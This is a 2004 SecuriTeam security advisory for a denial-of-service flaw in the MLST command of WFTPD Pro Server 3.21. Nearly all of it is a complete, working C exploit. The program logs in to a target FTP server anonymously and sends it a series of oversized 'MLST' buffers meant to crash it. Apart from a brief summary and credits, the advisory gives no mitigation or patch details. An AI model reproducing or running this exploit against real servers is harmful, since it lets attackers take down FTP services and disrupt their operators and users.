[NT] WFTPD Pro Server MLST Command DoS

From: SecuriTeam (support_at_securiteam.com)
Date: 08/31/04

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    Date: 31 Aug 2004 17:59:12 +0200
    
    

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      WFTPD Pro Server MLST Command DoS
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.wftpd.com/> WFTPD is "a popular FTP server for Windows". A
    vulnerability in the way the product parses MLST commands allows a remote
    attacker to trigger a denial of service situation in the product.

    DETAILS

    Vulnerable Systems:
     * WFTPD Pro Server 3.21 Release 3

    Exploit:
    /*
    *-----------------------------------------------------------------------
    *
    * wftpd.c - WFTPD Pro Server 3.21 MLST DoS Exploit
    *
    * Copyright (C) 2000-2004 HUC All Rights Reserved.
    *
    * Author : lion
    * : lion@cnhonker.net
    * : http://www.cnhonker.com
    * Date : 2004-08-30
    *
    *-----------------------------------------------------------------------
    */

    #include <stdio.h>
    #include <stdlib.h>
    #include <winsock2.h>

    #pragma comment(lib, "ws2_32.lib")

    #define FTPPORT 21
    #define BUFFSIZE 204800
    #define OVERFLOWSIZE 220
    #define SIZE 2048

    // function
    int create_socket();
    int client_connect(int sockfd,char* server,int port);
    int writebuf(char *s,int socket,char *buffer,int len);
    int readbuf(char *s,int socket,char *buffer,int len);
    void checkstatus(char *s);
    void loginftp(SOCKET sockfd, char *user, char *pass);

    int show = 1;
    char recvbuf[BUFFSIZE];
    char sendbuf[BUFFSIZE];

    void main(int argc, char *argv[])
    {
       WSADATA wsa;
       unsigned short port;
       unsigned long ip;
       char user[32] = "anonymous";
       char pass[32] = "anonymous";
       int i;
       
       char *command = "MLST ";

       SOCKET s;
       int size = OVERFLOWSIZE;

       printf("WFTPD Pro Server 3.21 MLST DoS Exploit\r\n");
           printf("lion lion#cnhonker.net, http://www.cnhonker.com\r\n\n");

       if(argc < 3)
       {
           printf("%s <TargetHost> <TargetPort>\r\n", argv[0]);
           return;
       }
       
       WSAStartup(MAKEWORD(2,2),&wsa);

       if((s=create_socket())==0)
       {
           printf("[-] ERROR: Create socket failed.\r\n");
           return;
       }
         
       if(!client_connect(s, argv[1], atoi(argv[2])))
           exit(-1);
       
       loginftp(s, user, pass);
       
       memset(sendbuf, 0 ,BUFFSIZE);
       memcpy(sendbuf, "pasv\r\n", 6);
       writebuf("Send pasv", s, sendbuf, 6);
       readbuf("read", s, recvbuf, BUFFSIZE);
       
       for(i=0;i<60;i++,size++)
       {
           memset(sendbuf, 0, BUFFSIZE);
           memset(sendbuf, 'A', size);
           memcpy(sendbuf, command, strlen(command));
           sendbuf[size-2] ='\r';
           sendbuf[size-1] ='\n';
           
           printf("buff size :%d\r\n%s\r\n", strlen(sendbuf), sendbuf);
           show=1;
           writebuf("Send overflow buff", s, sendbuf, size);
           readbuf("read", s, recvbuf, BUFFSIZE);
           Sleep(500);
       }
       
       //send QUIT
       memset(sendbuf,0, BUFFSIZE);
       sprintf(sendbuf, "%s\r\n", "QUIT");
       writebuf("Send QUIT", s, sendbuf, strlen(sendbuf));
       
       //show=1;
       //readbuf("[+] QUIT......", s, recvbuf, BUFFSIZE);
       //return;
           
       if(s)
           closesocket(s);
             
       WSACleanup();
    }

    int create_socket()
    {
       int sockfd;
     
       sockfd=socket(AF_INET,SOCK_STREAM,0);
       if(sockfd<0)
       {
           printf("[-] Create socket error.\r\n");
           return(0);
       }
       
       return(sockfd);
    }

    int client_connect(int sockfd,char* server,int port)
    {
       struct sockaddr_in cliaddr;
       struct hostent *host;

       if((host=gethostbyname(server))==NULL)
       {
           printf("[-] ERROR: gethostbyname(%s) error\n", server);
           return(-1);
       }
       
       memset(&cliaddr, 0, sizeof(struct sockaddr));

       cliaddr.sin_family=AF_INET;
       cliaddr.sin_port=htons(port);
       cliaddr.sin_addr=*((struct in_addr *)host->h_addr);
       printf("[+] Trying %s:%d......", server, port);
       fflush(stdout);

       if(connect(sockfd,(struct sockaddr *)&cliaddr,sizeof(struct
    sockaddr))<0)
       {
           printf("FAILED!\r\n");
           closesocket(sockfd);
           return(-1);
       }

       printf("OK!\r\n");
       return(1);
    }

    int writebuf(char *s,int socket,char *buffer,int len)
    {
       int j;

       if(s)
       {
           printf("[+] %s......", s);
           fflush(stdout);
       }

       j=send(socket,buffer,len,0);
       if(j<=0)
       {
           printf("FAILED!\r\n");
               exit(-1);
       }
       printf("OK!\r\n");
       return j;
    }

    int readbuf(char *s,int socket,char *buffer,int len)
    {
       int a,b,i,j=0;
       
       a=b=i=0;
       memset(buffer,0,len);

       if(s)
       {
           printf("[+] %s......", s);
           fflush(stdout);
       }

       j=recv(socket,buffer,len-1,0);
       if(j <= 0)
       {
           if(s) printf("FAILED!\n");
               printf("[-] Recv data error.\n");
           exit(-1);
       }
           
       if(s) printf("OK!\n");

       buffer[len-1]='\0';

       if(show==1) printf("<==\r\n%s<==\r\n",buffer);

       return j;
    }

    void checkstatus(char *s)
    {
       if(s==NULL) exit(-1);
       if(isdigit(*s))
       {
           if(s[0]=='5')
           {
               printf("[-] Server told:%s\n",s);
               exit(-1);
           }
           else return;
       }

       printf("[-] Server said:%s\n",s);
       exit(-1);
    }

    void loginftp(SOCKET sockfd, char *user, char *pass)
    {
       int j;
       
       show=1;
       readbuf("Get FTP Server banner",sockfd, recvbuf, SIZE);
       //show=0;

       //send USER username
       memset(sendbuf,0,BUFFSIZE);
       j=sprintf(sendbuf,"%s %s\r\n", "USER", user);
       writebuf("Send USER", sockfd,sendbuf,j);
       readbuf(NULL,sockfd, recvbuf, BUFFSIZE);
       checkstatus(recvbuf);

       //send PASS password
       memset(sendbuf,0,BUFFSIZE);
       j=sprintf(sendbuf,"%s %s\r\n","PASS", pass);
       writebuf("Send PASS", sockfd, sendbuf, j);
       readbuf(NULL,sockfd,recvbuf, BUFFSIZE);
       checkstatus(recvbuf);
       printf("[+] User %s logged in.\r\n", user);
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:lion@cnhonker.net> lion.
    The original article can be found at:
    <http://www.cnhonker.com/index.php?module=releases&act=view&type=2&id=63>
    http://www.cnhonker.com/index.php?module=releases&act=view&type=2&id=63

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